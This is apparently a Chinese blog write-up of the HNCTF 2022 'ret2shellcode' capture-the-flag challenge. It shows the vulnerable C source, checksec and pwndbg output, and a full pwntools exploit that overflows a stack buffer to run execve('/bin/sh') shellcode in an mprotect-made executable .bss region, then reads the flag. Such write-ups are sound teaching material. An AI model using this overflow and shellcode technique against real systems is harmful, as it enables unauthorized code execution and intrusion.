PWN入门-ret2shellcode-2
Mon Sep 16 2024
解题
本题出处为[HNCTF 2022 Week1]ret2shellcode
checksec
SH
12345678910
checksec --file shellcode2
[*] '/pwn/pwnfiles/shellcode2'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
可以看到她是一个64位的程序,并且开启了NX保护
附件
打开附件发现本题附有源码
C
1234567891011121314
#include<stdio.h>
char buff[256];
int main()
{
setbuf(stdin,0);
setbuf(stderr,0);
setbuf(stdout,0);
mprotect((long long)(&stdout)&0xfffffffffffff000,0x1000,7);
char buf[256];
memset(buf,0,0x100);
read(0,buf,0x110);
strcpy(buff,buf);
return 0;
}
这里可以看到buff未被初始化,并且还有一个mprotect函数
IDA
这里可以看到s[256]在栈上,同时buff在源码内未被初始化,buff在.bss段上,并且s[256]到栈底的距离是0x100
.bss段通常用于存储未初始化的全局变量和静态变量。编译器会将这些未初始化的变量存储在.bss 段,并在程序启动时将它们初始化为0
在程序开启NX保护的时候,常使用mprotect()函数攻击,因为它能够修改内存的执行权限,从而绕过 NX 保护,使攻击者注入的恶意代码得以执行。
mprotect函数
C
1
int mprotect(void *addr, size_t len, int prot);
addr:需要更改权限的内存区域的起始地址(通常要对齐到页边界)。
len:需要更改权限的内存区域的长度。
prot:新的内存访问权限,例如 PROT_READ | PROT_WRITE | PROT_EXEC,表示同时拥有读、写、执行权限。
使用GBD调试
因为buff字段在main函数上,所以先下断点到main函数下
寻找buff所在位置
SH
12
pwndbg> info address buff
Symbol "buff" is at 0x4040a0 in a file compiled without debugging.
查看0x4040a0的权限
SH
123456
vmmap 0x4040a0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x403000 0x404000 r--p 1000 2000 /pwn/pwnfiles/shellcode2
► 0x404000 0x405000 rw-p 1000 3000 /pwn/pwnfiles/shellcode2 +0xa0
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
发现只有rwp的权限
因为是使用mprotect函数进行攻击,在下断点到0x401220(call_mprotect)
再次查看0x4040a0的权限
SH
123456
vmmap 0x4040a0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x403000 0x404000 r--p 1000 2000 /pwn/pwnfiles/shellcode2
► 0x404000 0x405000 rw-p 1000 3000 /pwn/pwnfiles/shellcode2 +0xa0
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
此时因为mprotect函数还没有执行,所以权限没有改变,单步跳过一下
再次查看0x4040a0的权限
SH
123456
pwndbg> vmmap 0x4040a0
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File
0x403000 0x404000 r--p 1000 2000 /pwn/pwnfiles/shellcode2
► 0x404000 0x405000 rwxp 1000 3000 /pwn/pwnfiles/shellcode2 +0xa0
0x7ffff7c00000 0x7ffff7c28000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
这里可以看到权限已经修改了,说明猜想成立
编写exp
PYTHON
123456789
from pwn import *
context(arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",21356)
buff_addr= 0x4040a0
shellcode=asm(shellcraft.sh())
payload= shellcode.ljust(0x100+8, b'a') + p64(buff_addr)
#ljust(width, fillchar):这是 Python 中字符串的一个方法,用于将字符串的长度填充到指定的宽度。如果原始字符串不足 width 的长度,则在其右侧填充指定的字符。
io.sendline(payload)
io.interactive()
获取flag
SH
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374
python3 exp_ret2shellcode2.py
[+] Opening connection to node5.anna.nssctf.cn on port 29037: Done
[DEBUG] cpp -C -nostdinc -undef -P -I/usr/local/lib/python3.12/dist-packages/pwnlib/data/includes /dev/stdin
[DEBUG] Assembling
.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.intel_syntax noprefix
.p2align 0
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
mov rax, 0x732f2f2f6e69622f
push rax
mov rdi, rsp
/* push argument array ['sh\x00'] */
/* push b'sh\x00' */
push 0x1010101 ^ 0x6873
xor dword ptr [rsp], 0x1010101
xor esi, esi /* 0 */
push rsi /* null terminate */
push 8
pop rsi
add rsi, rsp
push rsi /* 'sh\x00' */
mov rsi, rsp
xor edx, edx /* 0 */
/* call execve() */
push 59 /* 0x3b */
pop rax
syscall
[DEBUG] /usr/bin/x86_64-linux-gnu-as -64 -o /tmp/pwn-asm-hjm392qa/step2 /tmp/pwn-asm-hjm392qa/step1
[DEBUG] /usr/bin/x86_64-linux-gnu-objcopy -j .shellcode -Obinary /tmp/pwn-asm-hjm392qa/step3 /tmp/pwn-asm-hjm392qa/step4
[DEBUG] Sent 0x111 bytes:
00000000 6a 68 48 b8 2f 62 69 6e 2f 2f 2f 73 50 48 89 e7 │jhH·│/bin│///s│PH··│
00000010 68 72 69 01 01 81 34 24 01 01 01 01 31 f6 56 6a │hri·│··4$│····│1·Vj│
00000020 08 5e 48 01 e6 56 48 89 e6 31 d2 6a 3b 58 0f 05 │·^H·│·VH·│·1·j│;X··│
00000030 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 │aaaa│aaaa│aaaa│aaaa│
*
00000100 61 61 61 61 61 61 61 61 a0 40 40 00 00 00 00 00 │aaaa│aaaa│·@@·│····│
00000110 0a │·│
00000111
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x36 bytes:
b'bin\n'
b'dev\n'
b'flag\n'
b'lib\n'
b'lib32\n'
b'lib64\n'
b'libexec\n'
b'libx32\n'
b'shellcode\n'
bin
dev
flag
lib
lib32
lib64
libexec
libx32
shellcode
$ cat flag
[DEBUG] Sent 0x9 bytes:
b'cat flag\n'
[DEBUG] Received 0x26 bytes:
b'nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}\n'
nssctf{W@rn1ng,Sh31lc0de_inj3ct3r!!!}
$
成功